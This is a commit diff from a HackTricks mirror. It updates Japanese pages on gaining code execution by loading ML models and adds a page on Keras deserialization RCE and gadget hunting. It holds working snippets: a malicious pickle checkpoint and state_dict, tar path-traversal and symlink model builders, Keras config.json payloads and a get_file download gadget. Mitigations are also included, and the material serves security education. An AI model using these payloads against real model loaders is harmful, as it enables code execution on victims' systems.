mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/python/README.md',
This commit is contained in:
parent
2cc596d3c2
commit
38b8e180bc
@ -4,24 +4,24 @@
|
|||||||
|
|
||||||
## Loading models to RCE
|
## Loading models to RCE
|
||||||
|
|
||||||
機械学習モデルは通常、ONNX、TensorFlow、PyTorchなどの異なる形式で共有されます。これらのモデルは、開発者のマシンや本番システムにロードされて使用されます。通常、モデルには悪意のあるコードが含まれていないはずですが、モデルのロードライブラリの脆弱性や意図された機能として、モデルがシステム上で任意のコードを実行するために使用される場合があります。
|
Machine Learning modelsは通常、ONNX、TensorFlow、PyTorchなどの異なるフォーマットで共有されます。これらのモデルは、開発者のマシンや本番システムにロードされて使用されます。通常、モデルには悪意のあるコードが含まれていないはずですが、モデルのロードライブラリの脆弱性や意図された機能として、モデルがシステム上で任意のコードを実行するために使用される場合があります。
|
||||||
|
|
||||||
執筆時点でのこの種の脆弱性のいくつかの例は次のとおりです:
|
執筆時点でのこの種の脆弱性のいくつかの例は以下の通りです:
|
||||||
|
|
||||||
| **Framework / Tool** | **Vulnerability (CVE if available)** | **RCE Vector** | **References** |
|
| **Framework / Tool** | **Vulnerability (CVE if available)** | **RCE Vector** | **References** |
|
||||||
|-----------------------------|------------------------------------------------------------------------------------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------|----------------------------------------------|
|
|-----------------------------|------------------------------------------------------------------------------------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------|----------------------------------------------|
|
||||||
| **PyTorch** (Python) | *Insecure deserialization in* `torch.load` **(CVE-2025-32434)** | モデルチェックポイント内の悪意のあるピクルがコード実行を引き起こす(`weights_only`の保護をバイパス) | |
|
| **PyTorch** (Python) | *Insecure deserialization in* `torch.load` **(CVE-2025-32434)** | 悪意のあるpickleがモデルチェックポイントに含まれ、コード実行を引き起こす(`weights_only`の保護をバイパス) | |
|
||||||
| PyTorch **TorchServe** | *ShellTorch* – **CVE-2023-43654**, **CVE-2022-1471** | SSRF + 悪意のあるモデルダウンロードがコード実行を引き起こす; 管理APIにおけるJavaデシリアライズRCE | |
|
| PyTorch **TorchServe** | *ShellTorch* – **CVE-2023-43654**, **CVE-2022-1471** | SSRF + 悪意のあるモデルダウンロードがコード実行を引き起こす; 管理APIにおけるJavaデシリアライズRCE | |
|
||||||
| **TensorFlow/Keras** | **CVE-2021-37678** (unsafe YAML) <br> **CVE-2024-3660** (Keras Lambda) | YAMLからモデルをロードすると`yaml.unsafe_load`を使用(コード実行) <br> **Lambda**レイヤーを使用したモデルのロードが任意のPythonコードを実行 | |
|
| **TensorFlow/Keras** | **CVE-2021-37678** (unsafe YAML) <br> **CVE-2024-3660** (Keras Lambda) | YAMLからモデルをロードすると`yaml.unsafe_load`を使用(コード実行) <br> **Lambda**レイヤーを使用したモデルのロードが任意のPythonコードを実行する | |
|
||||||
| TensorFlow (TFLite) | **CVE-2022-23559** (TFLite parsing) | 作成された`.tflite`モデルが整数オーバーフローを引き起こし→ヒープ破損(潜在的RCE) | |
|
| TensorFlow (TFLite) | **CVE-2022-23559** (TFLite parsing) | 作成された`.tflite`モデルが整数オーバーフローを引き起こし→ヒープ破損(潜在的RCE) | |
|
||||||
| **Scikit-learn** (Python) | **CVE-2020-13092** (joblib/pickle) | `joblib.load`を介してモデルをロードすると、攻撃者の`__reduce__`ペイロードを持つピクルが実行される | |
|
| **Scikit-learn** (Python) | **CVE-2020-13092** (joblib/pickle) | `joblib.load`を介してモデルをロードすると、攻撃者の`__reduce__`ペイロードを持つpickleが実行される | |
|
||||||
| **NumPy** (Python) | **CVE-2019-6446** (unsafe `np.load`) *disputed* | `numpy.load`のデフォルトがピクルオブジェクト配列を許可 – 悪意のある`.npy/.npz`がコード実行を引き起こす | |
|
| **NumPy** (Python) | **CVE-2019-6446** (unsafe `np.load`) *disputed* | `numpy.load`のデフォルトがピクルオブジェクト配列を許可したため、悪意のある`.npy/.npz`がコード実行を引き起こす | |
|
||||||
| **ONNX / ONNX Runtime** | **CVE-2022-25882** (dir traversal) <br> **CVE-2024-5187** (tar traversal) | ONNXモデルの外部ウェイトパスがディレクトリを脱出できる(任意のファイルを読み取る) <br> 悪意のあるONNXモデルtarが任意のファイルを上書きできる(RCEにつながる) | |
|
| **ONNX / ONNX Runtime** | **CVE-2022-25882** (dir traversal) <br> **CVE-2024-5187** (tar traversal) | ONNXモデルの外部ウェイトパスがディレクトリを脱出できる(任意のファイルを読み取る) <br> 悪意のあるONNXモデルtarが任意のファイルを上書きできる(RCEにつながる) | |
|
||||||
| ONNX Runtime (design risk) | *(No CVE)* ONNX custom ops / control flow | カスタムオペレーターを持つモデルは攻撃者のネイティブコードをロードする必要がある; 複雑なモデルグラフが論理を悪用して意図しない計算を実行する | |
|
| ONNX Runtime (design risk) | *(No CVE)* ONNX custom ops / control flow | カスタムオペレーターを持つモデルは攻撃者のネイティブコードをロードする必要がある; 複雑なモデルグラフが論理を悪用して意図しない計算を実行する | |
|
||||||
| **NVIDIA Triton Server** | **CVE-2023-31036** (path traversal) | `--model-control`が有効なモデルロードAPIを使用すると、相対パスのトラバーサルが可能になり、ファイルを書き込むことができる(例:`.bashrc`を上書きしてRCE) | |
|
| **NVIDIA Triton Server** | **CVE-2023-31036** (path traversal) | `--model-control`が有効なモデルロードAPIを使用すると、相対パスのトラバーサルが可能になり、ファイルを書き込むことができる(例:RCEのために`.bashrc`を上書き) | |
|
||||||
| **GGML (GGUF format)** | **CVE-2024-25664 … 25668** (multiple heap overflows) | 形式が不正なGGUFモデルファイルがパーサー内でヒープバッファオーバーフローを引き起こし、被害者システムでの任意のコード実行を可能にする | |
|
| **GGML (GGUF format)** | **CVE-2024-25664 … 25668** (multiple heap overflows) | 形式が不正なGGUFモデルファイルがパーサーでヒープバッファオーバーフローを引き起こし、被害者システムでの任意のコード実行を可能にする | |
|
||||||
| **Keras (older formats)** | *(No new CVE)* Legacy Keras H5 model | 悪意のあるHDF5(`.h5`)モデルがLambdaレイヤーコードを持ち、ロード時に実行される(Kerasのsafe_modeは古い形式をカバーしていない – “ダウングレード攻撃”) | |
|
| **Keras (older formats)** | *(No new CVE)* Legacy Keras H5 model | 悪意のあるHDF5(`.h5`)モデルがLambdaレイヤーコードを持ち、ロード時に実行される(Kerasのsafe_modeは古いフォーマットをカバーしていない – “ダウングレード攻撃”) | |
|
||||||
| **Others** (general) | *Design flaw* – Pickle serialization | 多くのMLツール(例:ピクルベースのモデル形式、Python `pickle.load`)は、緩和策がない限り、モデルファイルに埋め込まれた任意のコードを実行します | |
|
| **Others** (general) | *Design flaw* – Pickle serialization | 多くのMLツール(例:pickleベースのモデルフォーマット、Python `pickle.load`)は、緩和策がない限り、モデルファイルに埋め込まれた任意のコードを実行します | |
|
||||||
|
|
||||||
さらに、[PyTorch](https://github.com/pytorch/pytorch/security)で使用されるようなPythonピクルベースのモデルは、`weights_only=True`でロードされない場合、システム上で任意のコードを実行するために使用される可能性があります。したがって、テーブルにリストされていない場合でも、すべてのピクルベースのモデルはこの種の攻撃に特に脆弱である可能性があります。
|
さらに、[PyTorch](https://github.com/pytorch/pytorch/security)で使用されるようなPythonピクルベースのモデルは、`weights_only=True`でロードされない場合、システム上で任意のコードを実行するために使用される可能性があります。したがって、テーブルにリストされていない場合でも、すべてのピクルベースのモデルはこの種の攻撃に特に脆弱である可能性があります。
|
||||||
|
|
||||||
@ -33,13 +33,13 @@
|
|||||||
```python
|
```python
|
||||||
checkpoint = torch.load(path, map_location=torch.device("meta"))
|
checkpoint = torch.load(path, map_location=torch.device("meta"))
|
||||||
```
|
```
|
||||||
提供されたファイルが **PyTorch チェックポイント (`*.ckpt`)** の場合、`torch.load` は **ピクルデシリアライズ** を実行します。コンテンツはユーザー制御の URL から直接取得されるため、攻撃者はチェックポイント内にカスタム `__reduce__` メソッドを持つ悪意のあるオブジェクトを埋め込むことができます。このメソッドは **デシリアライズ中** に実行され、InvokeAI サーバー上で **リモートコード実行 (RCE)** を引き起こします。
|
提供されたファイルが**PyTorchチェックポイント(`*.ckpt`)**である場合、`torch.load`は**ピクルデシリアライズ**を実行します。コンテンツがユーザー制御のURLから直接来るため、攻撃者はチェックポイント内にカスタム`__reduce__`メソッドを持つ悪意のあるオブジェクトを埋め込むことができます。このメソッドは**デシリアライズ中**に実行され、**リモートコード実行(RCE)**を引き起こします。
|
||||||
|
|
||||||
この脆弱性には **CVE-2024-12029** (CVSS 9.8, EPSS 61.17 %) が割り当てられました。
|
この脆弱性には**CVE-2024-12029**(CVSS 9.8、EPSS 61.17%)が割り当てられました。
|
||||||
|
|
||||||
#### 攻撃の手順
|
#### 攻撃の手順
|
||||||
|
|
||||||
1. 悪意のあるチェックポイントを作成する:
|
1. 悪意のあるチェックポイントを作成します:
|
||||||
```python
|
```python
|
||||||
# payload_gen.py
|
# payload_gen.py
|
||||||
import pickle, torch, os
|
import pickle, torch, os
|
||||||
@ -75,13 +75,13 @@ timeout=5,
|
|||||||
|
|
||||||
• InvokeAI 5.3.1-5.4.2(スキャンフラグデフォルト **false**)
|
• InvokeAI 5.3.1-5.4.2(スキャンフラグデフォルト **false**)
|
||||||
• `/api/v2/models/install` が攻撃者によって到達可能
|
• `/api/v2/models/install` が攻撃者によって到達可能
|
||||||
• プロセスはシェルコマンドを実行する権限を持っている
|
• プロセスがシェルコマンドを実行する権限を持っている
|
||||||
|
|
||||||
#### 緩和策
|
#### 緩和策
|
||||||
|
|
||||||
* **InvokeAI ≥ 5.4.3** にアップグレード – パッチはデフォルトで `scan=True` を設定し、デシリアライズ前にマルウェアスキャンを実行します。
|
* **InvokeAI ≥ 5.4.3** にアップグレード – パッチはデフォルトで `scan=True` を設定し、デシリアライズ前にマルウェアスキャンを実行します。
|
||||||
* チェックポイントをプログラム的に読み込む際は `torch.load(file, weights_only=True)` または新しい [`torch.load_safe`](https://pytorch.org/docs/stable/serialization.html#security) ヘルパーを使用します。
|
* チェックポイントをプログラム的に読み込む際は、`torch.load(file, weights_only=True)` または新しい [`torch.load_safe`](https://pytorch.org/docs/stable/serialization.html#security) ヘルパーを使用します。
|
||||||
* モデルソースのために許可リスト/署名を強制し、最小権限でサービスを実行します。
|
* モデルソースのために許可リスト/署名を強制し、最小特権でサービスを実行します。
|
||||||
|
|
||||||
> ⚠️ **任意の** Pythonピクルベースのフォーマット(多くの `.pt`, `.pkl`, `.ckpt`, `.pth` ファイルを含む)は、信頼できないソースからデシリアライズすることが本質的に安全ではないことを忘れないでください。
|
> ⚠️ **任意の** Pythonピクルベースのフォーマット(多くの `.pt`, `.pkl`, `.ckpt`, `.pth` ファイルを含む)は、信頼できないソースからデシリアライズすることが本質的に安全ではないことを忘れないでください。
|
||||||
|
|
||||||
@ -131,9 +131,9 @@ model.load_state_dict(torch.load("malicious_state.pth", weights_only=False))
|
|||||||
|
|
||||||
# /tmp/pwned.txt is created even if you get an error
|
# /tmp/pwned.txt is created even if you get an error
|
||||||
```
|
```
|
||||||
## Models to Path Traversal
|
## モデルとパストラバーサル
|
||||||
|
|
||||||
[**このブログ記事**](https://blog.huntr.com/pivoting-archive-slip-bugs-into-high-value-ai/ml-bounties)でコメントされているように、異なるAIフレームワークで使用されるほとんどのモデルフォーマットはアーカイブに基づいており、通常は`.zip`です。したがって、これらのフォーマットを悪用してパス・トラバーサル攻撃を実行し、モデルがロードされているシステムから任意のファイルを読み取ることが可能かもしれません。
|
[**このブログ投稿**](https://blog.huntr.com/pivoting-archive-slip-bugs-into-high-value-ai/ml-bounties)でコメントされているように、異なるAIフレームワークで使用されるほとんどのモデルフォーマットはアーカイブに基づいており、通常は`.zip`です。したがって、これらのフォーマットを悪用してパストラバーサル攻撃を実行し、モデルがロードされているシステムから任意のファイルを読み取ることが可能かもしれません。
|
||||||
|
|
||||||
例えば、以下のコードを使用すると、ロードされたときに`/tmp`ディレクトリにファイルを作成するモデルを作成できます:
|
例えば、以下のコードを使用すると、ロードされたときに`/tmp`ディレクトリにファイルを作成するモデルを作成できます:
|
||||||
```python
|
```python
|
||||||
@ -146,7 +146,7 @@ return member
|
|||||||
with tarfile.open("traversal_demo.model", "w:gz") as tf:
|
with tarfile.open("traversal_demo.model", "w:gz") as tf:
|
||||||
tf.add("harmless.txt", filter=escape)
|
tf.add("harmless.txt", filter=escape)
|
||||||
```
|
```
|
||||||
次のコードを使用すると、ロード時に`/tmp`ディレクトリへのシンボリックリンクを作成するモデルを作成できます:
|
次のコードを使用すると、ロードされたときに`/tmp`ディレクトリへのシンボリックリンクを作成するモデルを作成できます:
|
||||||
```python
|
```python
|
||||||
import tarfile, pathlib
|
import tarfile, pathlib
|
||||||
|
|
||||||
@ -161,11 +161,20 @@ with tarfile.open("symlink_demo.model", "w:gz") as tf:
|
|||||||
tf.add(pathlib.Path(PAYLOAD).parent, filter=link_it)
|
tf.add(pathlib.Path(PAYLOAD).parent, filter=link_it)
|
||||||
tf.add(PAYLOAD) # rides the symlink
|
tf.add(PAYLOAD) # rides the symlink
|
||||||
```
|
```
|
||||||
|
### 深堀り: Keras .keras デシリアライズとガジェットハンティング
|
||||||
|
|
||||||
|
. keras の内部、Lambda-layer RCE、≤ 3.8 の任意インポート問題、およびホワイトリスト内のポストフィックスガジェット発見に関する集中ガイドについては、次を参照してください:
|
||||||
|
|
||||||
|
|
||||||
|
{{#ref}}
|
||||||
|
../generic-methodologies-and-resources/python/keras-model-deserialization-rce-and-gadget-hunting.md
|
||||||
|
{{#endref}}
|
||||||
|
|
||||||
## 参考文献
|
## 参考文献
|
||||||
|
|
||||||
- [OffSecブログ – "CVE-2024-12029 – InvokeAIの信頼できないデータの逆シリアル化"](https://www.offsec.com/blog/cve-2024-12029/)
|
- [OffSec blog – "CVE-2024-12029 – InvokeAIの信頼できないデータのデシリアライズ"](https://www.offsec.com/blog/cve-2024-12029/)
|
||||||
- [InvokeAIパッチコミット756008d](https://github.com/invoke-ai/invokeai/commit/756008dc5899081c5aa51e5bd8f24c1b3975a59e)
|
- [InvokeAI パッチコミット 756008d](https://github.com/invoke-ai/invokeai/commit/756008dc5899081c5aa51e5bd8f24c1b3975a59e)
|
||||||
- [Rapid7 Metasploitモジュールドキュメント](https://www.rapid7.com/db/modules/exploit/linux/http/invokeai_rce_cve_2024_12029/)
|
- [Rapid7 Metasploit モジュールドキュメント](https://www.rapid7.com/db/modules/exploit/linux/http/invokeai_rce_cve_2024_12029/)
|
||||||
- [PyTorch – torch.loadのセキュリティ考慮事項](https://pytorch.org/docs/stable/notes/serialization.html#security)
|
- [PyTorch – torch.load のセキュリティ考慮事項](https://pytorch.org/docs/stable/notes/serialization.html#security)
|
||||||
|
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
@ -69,6 +69,7 @@
|
|||||||
- [Bypass Python sandboxes](generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md)
|
- [Bypass Python sandboxes](generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md)
|
||||||
- [LOAD_NAME / LOAD_CONST opcode OOB Read](generic-methodologies-and-resources/python/bypass-python-sandboxes/load_name-load_const-opcode-oob-read.md)
|
- [LOAD_NAME / LOAD_CONST opcode OOB Read](generic-methodologies-and-resources/python/bypass-python-sandboxes/load_name-load_const-opcode-oob-read.md)
|
||||||
- [Class Pollution (Python's Prototype Pollution)](generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md)
|
- [Class Pollution (Python's Prototype Pollution)](generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md)
|
||||||
|
- [Keras Model Deserialization Rce And Gadget Hunting](generic-methodologies-and-resources/python/keras-model-deserialization-rce-and-gadget-hunting.md)
|
||||||
- [Python Internal Read Gadgets](generic-methodologies-and-resources/python/python-internal-read-gadgets.md)
|
- [Python Internal Read Gadgets](generic-methodologies-and-resources/python/python-internal-read-gadgets.md)
|
||||||
- [Pyscript](generic-methodologies-and-resources/python/pyscript.md)
|
- [Pyscript](generic-methodologies-and-resources/python/pyscript.md)
|
||||||
- [venv](generic-methodologies-and-resources/python/venv.md)
|
- [venv](generic-methodologies-and-resources/python/venv.md)
|
||||||
|
@ -6,6 +6,7 @@
|
|||||||
|
|
||||||
- [**Pyscript hacking tricks**](pyscript.md)
|
- [**Pyscript hacking tricks**](pyscript.md)
|
||||||
- [**Python deserializations**](../../pentesting-web/deserialization/README.md)
|
- [**Python deserializations**](../../pentesting-web/deserialization/README.md)
|
||||||
|
- [**Keras model deserialization RCE and gadget hunting**](keras-model-deserialization-rce-and-gadget-hunting.md)
|
||||||
- [**Tricks to bypass python sandboxes**](bypass-python-sandboxes/README.md)
|
- [**Tricks to bypass python sandboxes**](bypass-python-sandboxes/README.md)
|
||||||
- [**Basic python web requests syntax**](web-requests.md)
|
- [**Basic python web requests syntax**](web-requests.md)
|
||||||
- [**Basic python syntax and libraries**](basic-python.md)
|
- [**Basic python syntax and libraries**](basic-python.md)
|
||||||
|
@ -0,0 +1,207 @@
|
|||||||
|
# KerasモデルのデシリアライズRCEとガジェットハンティング
|
||||||
|
|
||||||
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
|
このページでは、Kerasモデルのデシリアライズパイプラインに対する実用的なエクスプロイト技術を要約し、ネイティブな.kerasフォーマットの内部構造と攻撃面を説明し、モデルファイルの脆弱性(MFV)を見つけるための研究者ツールキットと修正後のガジェットを提供します。
|
||||||
|
|
||||||
|
## .kerasモデルフォーマットの内部構造
|
||||||
|
|
||||||
|
.kerasファイルは、少なくとも以下を含むZIPアーカイブです:
|
||||||
|
- metadata.json – 一般的な情報(例:Kerasバージョン)
|
||||||
|
- config.json – モデルアーキテクチャ(主な攻撃面)
|
||||||
|
- model.weights.h5 – HDF5形式の重み
|
||||||
|
|
||||||
|
config.jsonは再帰的なデシリアライズを駆動します:Kerasはモジュールをインポートし、クラス/関数を解決し、攻撃者が制御する辞書からレイヤー/オブジェクトを再構築します。
|
||||||
|
|
||||||
|
Denseレイヤーオブジェクトの例のスニペット:
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"module": "keras.layers",
|
||||||
|
"class_name": "Dense",
|
||||||
|
"config": {
|
||||||
|
"units": 64,
|
||||||
|
"activation": {
|
||||||
|
"module": "keras.activations",
|
||||||
|
"class_name": "relu"
|
||||||
|
},
|
||||||
|
"kernel_initializer": {
|
||||||
|
"module": "keras.initializers",
|
||||||
|
"class_name": "GlorotUniform"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
デシリアライズは以下を実行します:
|
||||||
|
- モジュールのインポートとモジュール/クラス名キーからのシンボル解決
|
||||||
|
- 攻撃者が制御するkwargsを使用したfrom_config(...)またはコンストラクタの呼び出し
|
||||||
|
- ネストされたオブジェクト(アクティベーション、イニシャライザー、制約など)への再帰
|
||||||
|
|
||||||
|
歴史的に、これはconfig.jsonを作成する攻撃者に対して3つのプリミティブを露出させました:
|
||||||
|
- インポートされるモジュールの制御
|
||||||
|
- 解決されるクラス/関数の制御
|
||||||
|
- コンストラクタ/from_configに渡されるkwargsの制御
|
||||||
|
|
||||||
|
## CVE-2024-3660 – Lambda-layerバイトコードRCE
|
||||||
|
|
||||||
|
根本原因:
|
||||||
|
- Lambda.from_config()はpython_utils.func_load(...)を使用し、攻撃者のバイトに対してbase64デコードしmarshal.loads()を呼び出します;Pythonのアンマシャリングはコードを実行する可能性があります。
|
||||||
|
|
||||||
|
エクスプロイトアイデア(config.json内の簡略化されたペイロード):
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"module": "keras.layers",
|
||||||
|
"class_name": "Lambda",
|
||||||
|
"config": {
|
||||||
|
"name": "exploit_lambda",
|
||||||
|
"function": {
|
||||||
|
"function_type": "lambda",
|
||||||
|
"bytecode_b64": "<attacker_base64_marshal_payload>"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
緩和策:
|
||||||
|
- Kerasはデフォルトでsafe_mode=Trueを強制します。Lambda内のシリアライズされたPython関数は、ユーザーが明示的にsafe_mode=Falseを選択しない限りブロックされます。
|
||||||
|
|
||||||
|
注意事項:
|
||||||
|
- レガシーフォーマット(古いHDF5保存)や古いコードベースは、最新のチェックを強制しない場合があるため、被害者が古いローダーを使用する際には「ダウングレード」スタイルの攻撃が依然として適用される可能性があります。
|
||||||
|
|
||||||
|
## CVE-2025-1550 – Keras ≤ 3.8における任意のモジュールインポート
|
||||||
|
|
||||||
|
根本原因:
|
||||||
|
- _retrieve_class_or_fnは、config.jsonから攻撃者が制御するモジュール文字列を使用して制限のないimportlib.import_module()を使用しました。
|
||||||
|
- 影響: インストールされた任意のモジュール(またはsys.path上の攻撃者が植え付けたモジュール)の任意のインポート。インポート時にコードが実行され、その後攻撃者のkwargsでオブジェクトが構築されます。
|
||||||
|
|
||||||
|
エクスプロイトアイデア:
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"module": "maliciouspkg",
|
||||||
|
"class_name": "Danger",
|
||||||
|
"config": {"arg": "val"}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
セキュリティの改善 (Keras ≥ 3.9):
|
||||||
|
- モジュールホワイトリスト: インポートは公式エコシステムモジュールに制限される: keras, keras_hub, keras_cv, keras_nlp
|
||||||
|
- セーフモードデフォルト: safe_mode=True は安全でないLambdaシリアライズ関数の読み込みをブロックする
|
||||||
|
- 基本的な型チェック: デシリアライズされたオブジェクトは期待される型と一致しなければならない
|
||||||
|
|
||||||
|
## ホワイトリスト内のポストフィックスガジェットサーフェス
|
||||||
|
|
||||||
|
ホワイトリストとセーフモードがあっても、許可されたKerasコール可能なものの間には広範なサーフェスが残る。例えば、keras.utils.get_fileは任意のURLをユーザーが選択可能な場所にダウンロードできる。
|
||||||
|
|
||||||
|
許可された関数を参照するLambda経由のガジェット (シリアライズされたPythonバイトコードではない):
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"module": "keras.layers",
|
||||||
|
"class_name": "Lambda",
|
||||||
|
"config": {
|
||||||
|
"name": "dl",
|
||||||
|
"function": {"module": "keras.utils", "class_name": "get_file"},
|
||||||
|
"arguments": {
|
||||||
|
"fname": "artifact.bin",
|
||||||
|
"origin": "https://example.com/artifact.bin",
|
||||||
|
"cache_dir": "/tmp/keras-cache"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
重要な制限事項:
|
||||||
|
- Lambda.call() は、ターゲットの呼び出し可能な関数を呼び出す際に、入力テンソルを最初の位置引数として追加します。選択されたガジェットは、追加の位置引数を許容する必要があります(または *args/**kwargs を受け入れる必要があります)。これにより、利用可能な関数が制約されます。
|
||||||
|
|
||||||
|
許可されたガジェットの潜在的な影響:
|
||||||
|
- 任意のダウンロード/書き込み(パスの植え付け、設定の毒性)
|
||||||
|
- 環境に応じたネットワークコールバック/SSRFのような効果
|
||||||
|
- 書き込まれたパスが後でインポート/実行されるか、PYTHONPATHに追加される場合、または書き込み時に実行可能な場所が存在する場合に、コード実行へのチェーン
|
||||||
|
|
||||||
|
## 研究者ツールキット
|
||||||
|
|
||||||
|
1) 許可されたモジュール内での体系的なガジェット発見
|
||||||
|
|
||||||
|
keras、keras_nlp、keras_cv、keras_hub全体で候補となる呼び出し可能な関数を列挙し、ファイル/ネットワーク/プロセス/環境の副作用を持つものを優先します。
|
||||||
|
```python
|
||||||
|
import importlib, inspect, pkgutil
|
||||||
|
|
||||||
|
ALLOWLIST = ["keras", "keras_nlp", "keras_cv", "keras_hub"]
|
||||||
|
|
||||||
|
seen = set()
|
||||||
|
|
||||||
|
def iter_modules(mod):
|
||||||
|
if not hasattr(mod, "__path__"):
|
||||||
|
return
|
||||||
|
for m in pkgutil.walk_packages(mod.__path__, mod.__name__ + "."):
|
||||||
|
yield m.name
|
||||||
|
|
||||||
|
candidates = []
|
||||||
|
for root in ALLOWLIST:
|
||||||
|
try:
|
||||||
|
r = importlib.import_module(root)
|
||||||
|
except Exception:
|
||||||
|
continue
|
||||||
|
for name in iter_modules(r):
|
||||||
|
if name in seen:
|
||||||
|
continue
|
||||||
|
seen.add(name)
|
||||||
|
try:
|
||||||
|
m = importlib.import_module(name)
|
||||||
|
except Exception:
|
||||||
|
continue
|
||||||
|
for n, obj in inspect.getmembers(m):
|
||||||
|
if inspect.isfunction(obj) or inspect.isclass(obj):
|
||||||
|
sig = None
|
||||||
|
try:
|
||||||
|
sig = str(inspect.signature(obj))
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
doc = (inspect.getdoc(obj) or "").lower()
|
||||||
|
text = f"{name}.{n} {sig} :: {doc}"
|
||||||
|
# Heuristics: look for I/O or network-ish hints
|
||||||
|
if any(x in doc for x in ["download", "file", "path", "open", "url", "http", "socket", "env", "process", "spawn", "exec"]):
|
||||||
|
candidates.append(text)
|
||||||
|
|
||||||
|
print("\n".join(sorted(candidates)[:200]))
|
||||||
|
```
|
||||||
|
2) 直接デシリアライズテスト(.kerasアーカイブは不要)
|
||||||
|
|
||||||
|
作成した辞書をKerasデシリアライザに直接入力して、受け入れられるパラメータを学び、副作用を観察します。
|
||||||
|
```python
|
||||||
|
from keras import layers
|
||||||
|
|
||||||
|
cfg = {
|
||||||
|
"module": "keras.layers",
|
||||||
|
"class_name": "Lambda",
|
||||||
|
"config": {
|
||||||
|
"name": "probe",
|
||||||
|
"function": {"module": "keras.utils", "class_name": "get_file"},
|
||||||
|
"arguments": {"fname": "x", "origin": "https://example.com/x"}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
layer = layers.deserialize(cfg, safe_mode=True) # Observe behavior
|
||||||
|
```
|
||||||
|
3) クロスバージョンプロービングとフォーマット
|
||||||
|
|
||||||
|
Kerasは異なるガードレールとフォーマットを持つ複数のコードベース/時代に存在します:
|
||||||
|
- TensorFlow内蔵Keras: tensorflow/python/keras (レガシー、削除予定)
|
||||||
|
- tf-keras: 別途メンテナンス
|
||||||
|
- マルチバックエンドKeras 3 (公式): ネイティブ .keras を導入
|
||||||
|
|
||||||
|
コードベースとフォーマット(.keras vs レガシー HDF5)を通じてテストを繰り返し、リグレッションや欠落したガードを明らかにします。
|
||||||
|
|
||||||
|
## 防御的推奨事項
|
||||||
|
|
||||||
|
- モデルファイルを信頼できない入力として扱います。信頼できるソースからのみモデルをロードしてください。
|
||||||
|
- Kerasを最新の状態に保ちます;allowlistingと型チェックの恩恵を受けるためにKeras ≥ 3.9を使用してください。
|
||||||
|
- モデルをロードする際にsafe_mode=Falseを設定しないでください。ファイルを完全に信頼している場合を除きます。
|
||||||
|
- ネットワークエグレスがなく、ファイルシステムアクセスが制限されたサンドボックス環境でデシリアライズを実行することを検討してください。
|
||||||
|
- 可能な限りモデルソースと整合性チェックのためにallowlist/署名を強制します。
|
||||||
|
|
||||||
|
## 参考文献
|
||||||
|
|
||||||
|
- [Hunting Vulnerabilities in Keras Model Deserialization (huntr blog)](https://blog.huntr.com/hunting-vulnerabilities-in-keras-model-deserialization)
|
||||||
|
- [Keras PR #20751 – Added checks to serialization](https://github.com/keras-team/keras/pull/20751)
|
||||||
|
- [CVE-2024-3660 – Keras Lambda deserialization RCE](https://nvd.nist.gov/vuln/detail/CVE-2024-3660)
|
||||||
|
- [CVE-2025-1550 – Keras arbitrary module import (≤ 3.8)](https://nvd.nist.gov/vuln/detail/CVE-2025-1550)
|
||||||
|
- [huntr report – arbitrary import #1](https://huntr.com/bounties/135d5dcd-f05f-439f-8d8f-b21fdf171f3e)
|
||||||
|
- [huntr report – arbitrary import #2](https://huntr.com/bounties/6fcca09c-8c98-4bc5-b32c-e883ab3e4ae3)
|
||||||
|
|
||||||
|
{{#include ../../banners/hacktricks-training.md}}
|
Loading…
x
Reference in New Issue
Block a user